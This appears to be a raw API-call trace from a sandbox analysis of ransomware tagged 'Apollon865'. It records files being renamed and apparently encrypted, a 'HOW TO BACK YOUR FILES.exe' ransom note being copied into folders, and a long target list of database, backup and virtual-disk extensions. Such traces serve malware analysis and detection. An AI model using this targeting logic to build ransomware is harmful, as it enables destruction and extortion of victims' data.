	[0077.694] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0077.695] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0077.695] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2624) returned 1
	[0077.695] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0077.695] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0077.695] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfcd8
	[0077.695] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfd60) returned 1
	[0077.696] CryptGenRandom (in: hProv=0x5bfd60, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0077.696] CryptReleaseContext (hProv=0x5bfd60, dwFlags=0x0) returned 1
	[0077.696] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd40, lpName=0x0) returned 0x118
	[0077.698] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd40) returned 0x100000
	[0077.698] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfd60) returned 1
	[0077.699] CryptGenRandom (in: hProv=0x5bfd60, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0077.699] CryptReleaseContext (hProv=0x5bfd60, dwFlags=0x0) returned 1
	[0077.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0077.699] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0077.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0077.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0077.699] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0077.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0077.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0077.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0077.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0077.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0077.700] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0077.700] CloseHandle (hObject=0x118) returned 1
	[0077.700] CloseHandle (hObject=0x15c) returned 1
	[0077.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0077.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfcd8 | out: hHeap=0x580000) returned 1
	[0077.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0077.700] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0077.700] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0077.700] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7bf0
	[0077.700] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us"
	[0077.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0077.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0077.700] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us") returned 75
	[0077.700] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us"
	[0077.700] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.701] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.705] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.706] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x46623370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46623370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.706] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.706] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.706] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.706] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x46623370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46623370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.706] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.706] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.706] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.706] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.706] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1
	[0077.706] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.706] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="Apollon865.txt.exe") returned -1
	[0077.706] lstrcmpiW (lpString1="AccessMUI.msi", lpString2=".") returned 1
	[0077.706] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="..") returned 1
	[0077.706] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="windows") returned -1
	[0077.706] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="bootmgr") returned -1
	[0077.706] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="temp") returned -1
	[0077.706] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="pagefile.sys") returned -1
	[0077.706] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="boot") returned -1
	[0077.706] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="ids.txt") returned -1
	[0077.706] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="ntuser.dat") returned -1
	[0077.706] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="perflogs") returned -1
	[0077.706] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="MSBuild") returned -1
	[0077.706] lstrlenW (lpString="AccessMUI.msi") returned 13
	[0077.706] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*") returned 77
	[0077.706] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="AccessMUI.msi" | out: lpString1="AccessMUI.msi") returned="AccessMUI.msi"
	[0077.706] lstrlenW (lpString="AccessMUI.msi") returned 13
	[0077.706] lstrlenW (lpString="Apollon865") returned 10
	[0077.706] lstrcmpiW (lpString1="essMUI.msi", lpString2="Apollon865") returned 1
	[0077.706] lstrlenW (lpString=".dll") returned 4
	[0077.706] lstrcmpiW (lpString1="AccessMUI.msi", lpString2=".dll") returned 1
	[0077.706] lstrlenW (lpString=".lnk") returned 4
	[0077.707] lstrcmpiW (lpString1="AccessMUI.msi", lpString2=".lnk") returned 1
	[0077.707] lstrlenW (lpString=".ini") returned 4
	[0077.707] lstrcmpiW (lpString1="AccessMUI.msi", lpString2=".ini") returned 1
	[0077.707] lstrlenW (lpString=".sys") returned 4
	[0077.707] lstrcmpiW (lpString1="AccessMUI.msi", lpString2=".sys") returned 1
	[0077.707] lstrlenW (lpString="AccessMUI.msi") returned 13
	[0077.707] lstrlenW (lpString="bak") returned 3
	[0077.707] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0077.707] lstrlenW (lpString="ba_") returned 3
	[0077.707] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0077.707] lstrlenW (lpString="dbb") returned 3
	[0077.707] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0077.707] lstrlenW (lpString="vmdk") returned 4
	[0077.707] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0077.707] lstrlenW (lpString="rar") returned 3
	[0077.707] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0077.707] lstrlenW (lpString="zip") returned 3
	[0077.707] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0077.707] lstrlenW (lpString="tgz") returned 3
	[0077.707] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0077.707] lstrlenW (lpString="vbox") returned 4
	[0077.707] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0077.707] lstrlenW (lpString="vdi") returned 3
	[0077.707] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0077.707] lstrlenW (lpString="vhd") returned 3
	[0077.707] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0077.707] lstrlenW (lpString="vhdx") returned 4
	[0077.707] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0077.707] lstrlenW (lpString="avhd") returned 4
	[0077.707] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0077.707] lstrlenW (lpString="db") returned 2
	[0077.707] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0077.707] lstrlenW (lpString="db2") returned 3
	[0077.707] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0077.707] lstrlenW (lpString="db3") returned 3
	[0077.707] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0077.707] lstrlenW (lpString="dbf") returned 3
	[0077.707] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0077.708] lstrlenW (lpString="mdf") returned 3
	[0077.708] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0077.708] lstrlenW (lpString="mdb") returned 3
	[0077.708] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0077.708] lstrlenW (lpString="sql") returned 3
	[0077.708] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0077.708] lstrlenW (lpString="sqlite") returned 6
	[0077.708] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1
	[0077.708] lstrlenW (lpString="sqlite3") returned 7
	[0077.708] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1
	[0077.708] lstrlenW (lpString="sqlitedb") returned 8
	[0077.708] lstrcmpiW (lpString1="sMUI.msi", lpString2="sqlitedb") returned -1
	[0077.708] lstrlenW (lpString="xml") returned 3
	[0077.708] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0077.708] lstrlenW (lpString="$er") returned 3
	[0077.708] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0077.708] lstrlenW (lpString="4dd") returned 3
	[0077.708] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0077.708] lstrlenW (lpString="4dl") returned 3
	[0077.708] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0077.708] lstrlenW (lpString="^^^") returned 3
	[0077.708] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0077.708] lstrlenW (lpString="abs") returned 3
	[0077.708] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0077.708] lstrlenW (lpString="abx") returned 3
	[0077.708] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0077.708] lstrlenW (lpString="accdb") returned 5
	[0077.708] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1
	[0077.708] lstrlenW (lpString="accdc") returned 5
	[0077.708] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1
	[0077.708] lstrlenW (lpString="accde") returned 5
	[0077.708] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1
	[0077.708] lstrlenW (lpString="accdr") returned 5
	[0077.708] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1
	[0077.708] lstrlenW (lpString="accdt") returned 5
	[0077.708] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1
	[0077.708] lstrlenW (lpString="accdw") returned 5
	[0077.709] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1
	[0077.709] lstrlenW (lpString="accft") returned 5
	[0077.709] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1
	[0077.709] lstrlenW (lpString="adb") returned 3
	[0077.709] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0077.709] lstrlenW (lpString="adb") returned 3
	[0077.709] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0077.709] lstrlenW (lpString="ade") returned 3
	[0077.709] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0077.709] lstrlenW (lpString="adf") returned 3
	[0077.709] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0077.709] lstrlenW (lpString="adn") returned 3
	[0077.709] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0077.709] lstrlenW (lpString="adp") returned 3
	[0077.709] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0077.709] lstrlenW (lpString="alf") returned 3
	[0077.709] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0077.709] lstrlenW (lpString="ask") returned 3
	[0077.709] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0077.709] lstrlenW (lpString="btr") returned 3
	[0077.709] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0077.709] lstrlenW (lpString="cat") returned 3
	[0077.709] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0077.709] lstrlenW (lpString="cdb") returned 3
	[0077.709] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0077.709] lstrlenW (lpString="ckp") returned 3
	[0077.709] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0077.709] lstrlenW (lpString="cma") returned 3
	[0077.709] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0077.709] lstrlenW (lpString="cpd") returned 3
	[0077.709] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0077.709] lstrlenW (lpString="dacpac") returned 6
	[0077.709] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1
	[0077.709] lstrlenW (lpString="dad") returned 3
	[0077.709] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0077.709] lstrlenW (lpString="dadiagrams") returned 10
	[0077.709] lstrcmpiW (lpString1="essMUI.msi", lpString2="dadiagrams") returned 1
	[0077.710] lstrlenW (lpString="daschema") returned 8
	[0077.710] lstrcmpiW (lpString1="sMUI.msi", lpString2="daschema") returned 1
	[0077.710] lstrlenW (lpString="db-journal") returned 10
	[0077.710] lstrcmpiW (lpString1="essMUI.msi", lpString2="db-journal") returned 1
	[0077.710] lstrlenW (lpString="db-shm") returned 6
	[0077.710] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1
	[0077.710] lstrlenW (lpString="db-wal") returned 6
	[0077.710] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1
	[0077.710] lstrlenW (lpString="dbc") returned 3
	[0077.710] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0077.710] lstrlenW (lpString="dbs") returned 3
	[0077.710] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0077.710] lstrlenW (lpString="dbt") returned 3
	[0077.710] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0077.710] lstrlenW (lpString="dbv") returned 3
	[0077.710] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0077.710] lstrlenW (lpString="dbx") returned 3
	[0077.710] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0077.710] lstrlenW (lpString="dcb") returned 3
	[0077.710] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0077.710] lstrlenW (lpString="dct") returned 3
	[0077.710] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0077.710] lstrlenW (lpString="dcx") returned 3
	[0077.710] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0077.710] lstrlenW (lpString="ddl") returned 3
	[0077.710] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0077.710] lstrlenW (lpString="dlis") returned 4
	[0077.710] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0077.710] lstrlenW (lpString="dp1") returned 3
	[0077.710] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0077.710] lstrlenW (lpString="dqy") returned 3
	[0077.710] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0077.710] lstrlenW (lpString="dsk") returned 3
	[0077.710] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0077.710] lstrlenW (lpString="dsn") returned 3
	[0077.710] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0077.710] lstrlenW (lpString="dtsx") returned 4
	[0077.710] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0077.711] lstrlenW (lpString="dxl") returned 3
	[0077.711] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0077.711] lstrlenW (lpString="eco") returned 3
	[0077.711] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0077.711] lstrlenW (lpString="ecx") returned 3
	[0077.711] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0077.711] lstrlenW (lpString="edb") returned 3
	[0077.711] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0077.711] lstrlenW (lpString="epim") returned 4
	[0077.711] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0077.711] lstrlenW (lpString="fcd") returned 3
	[0077.711] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0077.711] lstrlenW (lpString="fdb") returned 3
	[0077.711] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0077.711] lstrlenW (lpString="fic") returned 3
	[0077.711] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0077.711] lstrlenW (lpString="flexolibrary") returned 12
	[0077.711] lstrcmpiW (lpString1="ccessMUI.msi", lpString2="flexolibrary") returned -1
	[0077.711] lstrlenW (lpString="fm5") returned 3
	[0077.711] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0077.711] lstrlenW (lpString="fmp") returned 3
	[0077.711] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0077.711] lstrlenW (lpString="fmp12") returned 5
	[0077.711] lstrcmpiW (lpString1="I.msi", lpString2="fmp12") returned 1
	[0077.711] lstrlenW (lpString="fmpsl") returned 5
	[0077.711] lstrcmpiW (lpString1="I.msi", lpString2="fmpsl") returned 1
	[0077.711] lstrlenW (lpString="fol") returned 3
	[0077.711] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0077.711] lstrlenW (lpString="fp3") returned 3
	[0077.711] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0077.711] lstrlenW (lpString="fp4") returned 3
	[0077.711] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0077.711] lstrlenW (lpString="fp5") returned 3
	[0077.711] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0077.711] lstrlenW (lpString="fp7") returned 3
	[0077.711] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0077.711] lstrlenW (lpString="fpt") returned 3
	[0077.712] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0077.712] lstrlenW (lpString="frm") returned 3
	[0077.712] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0077.712] lstrlenW (lpString="gdb") returned 3
	[0077.712] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0077.712] lstrlenW (lpString="gdb") returned 3
	[0077.712] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0077.712] lstrlenW (lpString="grdb") returned 4
	[0077.712] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0077.712] lstrlenW (lpString="gwi") returned 3
	[0077.712] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0077.712] lstrlenW (lpString="hdb") returned 3
	[0077.712] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0077.712] lstrlenW (lpString="his") returned 3
	[0077.712] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0077.712] lstrlenW (lpString="ib") returned 2
	[0077.712] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0077.712] lstrlenW (lpString="idb") returned 3
	[0077.712] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0077.712] lstrlenW (lpString="ihx") returned 3
	[0077.712] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0077.712] lstrlenW (lpString="itdb") returned 4
	[0077.712] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0077.712] lstrlenW (lpString="itw") returned 3
	[0077.712] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0077.712] lstrlenW (lpString="jet") returned 3
	[0077.712] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0077.712] lstrlenW (lpString="jtx") returned 3
	[0077.712] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0077.712] lstrlenW (lpString="kdb") returned 3
	[0077.712] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0077.712] lstrlenW (lpString="kexi") returned 4
	[0077.712] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0077.712] lstrlenW (lpString="kexic") returned 5
	[0077.712] lstrcmpiW (lpString1="I.msi", lpString2="kexic") returned -1
	[0077.712] lstrlenW (lpString="kexis") returned 5
	[0077.712] lstrcmpiW (lpString1="I.msi", lpString2="kexis") returned -1
	[0077.712] lstrlenW (lpString="lgc") returned 3
	[0077.713] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0077.713] lstrlenW (lpString="lwx") returned 3
	[0077.713] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0077.713] lstrlenW (lpString="maf") returned 3
	[0077.713] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0077.713] lstrlenW (lpString="maq") returned 3
	[0077.713] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0077.713] lstrlenW (lpString="mar") returned 3
	[0077.713] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0077.713] lstrlenW (lpString="marshal") returned 7
	[0077.713] lstrcmpiW (lpString1="MUI.msi", lpString2="marshal") returned 1
	[0077.713] lstrlenW (lpString="mas") returned 3
	[0077.713] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0077.713] lstrlenW (lpString="mav") returned 3
	[0077.713] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0077.713] lstrlenW (lpString="maw") returned 3
	[0077.713] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0077.713] lstrlenW (lpString="mdbhtml") returned 7
	[0077.713] lstrcmpiW (lpString1="MUI.msi", lpString2="mdbhtml") returned 1
	[0077.713] lstrlenW (lpString="mdn") returned 3
	[0077.713] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0077.713] lstrlenW (lpString="mdt") returned 3
	[0077.713] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0077.713] lstrlenW (lpString="mfd") returned 3
	[0077.713] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0077.713] lstrlenW (lpString="mpd") returned 3
	[0077.713] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0077.713] lstrlenW (lpString="mrg") returned 3
	[0077.713] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0077.713] lstrlenW (lpString="mud") returned 3
	[0077.713] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0077.713] lstrlenW (lpString="mwb") returned 3
	[0077.713] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0077.713] lstrlenW (lpString="myd") returned 3
	[0077.713] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0077.713] lstrlenW (lpString="ndf") returned 3
	[0077.713] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0077.714] lstrlenW (lpString="nnt") returned 3
	[0077.714] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0077.714] lstrlenW (lpString="nrmlib") returned 6
	[0077.714] lstrcmpiW (lpString1="UI.msi", lpString2="nrmlib") returned 1
	[0077.714] lstrlenW (lpString="ns2") returned 3
	[0077.714] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0077.714] lstrlenW (lpString="ns3") returned 3
	[0077.714] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0077.714] lstrlenW (lpString="ns4") returned 3
	[0077.714] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0077.714] lstrlenW (lpString="nsf") returned 3
	[0077.714] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
